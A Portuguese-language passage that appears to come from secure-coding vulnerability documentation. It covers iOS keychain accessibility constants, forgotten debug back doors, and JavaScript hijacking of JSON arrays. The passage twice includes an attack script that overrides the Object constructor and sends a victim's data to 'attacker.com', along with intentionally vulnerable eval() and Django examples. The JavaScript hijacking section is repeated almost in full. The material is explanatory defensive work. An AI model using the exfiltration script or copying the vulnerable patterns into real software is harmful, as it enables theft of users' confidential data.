Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Quando as proteções de conjunto de chaves foram introduzidas pela primeira vez, o valor padrão era kSecAttrAccessibleAlways, que criou um problema de segurança, já que alguém que pode obter obter acesso ou roubar o dispositivo poderá ler o conteúdo do conjunto de chaves. No momento, o atributo padrão é kSecAttrAccessibleWhenUnlocked, que é um padrão razoavelmente restritivo. No entanto, a documentação pública da Apple discorda sobre o que o atributo padrão deve ser; por isso, você deve definir esse atributo explicitamente em todos os itens de conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves é armazenado sem especificar claramente um nível de acessibilidade que pode se comportar de forma diferente em versões diferentes do iOS:

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure Keychain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

Uma prática comum de desenvolvimento é adicionar código "back door" (porta dos fundos), projetado especificamente para fins de depuração ou teste, que não se destina a ser enviado ou implantado com o aplicativo. Quando esse tipo de código de depuração é acidentalmente deixado no aplicativo, o aplicativo fica aberto a modos não intencionais de interação. Esses pontos de entrada "back door" criam riscos de segurança, pois não são levados em consideração durante procedimentos de design ou teste e não se enquadram nas condições operacionais esperadas do aplicativo.

O exemplo mais comum de um código de depuração esquecido é um método main() que aparece em um aplicativo Web. Embora esta seja uma prática aceitável durante o desenvolvimento de produtos, as classes que fazem parte de um aplicativo J2EE de produção não devem definir um main().

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações:
1) Se ele usa objetos JavaScript como formato de transferência de dados
2) Se ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Exemplo 2: Este código mostra um exemplo de método de visualização do Django que envia uma resposta JSON contendo dados confidenciais na forma de uma matriz JSON.

from django.http.response import JsonResponse
...
def handle_upload(request):
  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
  return response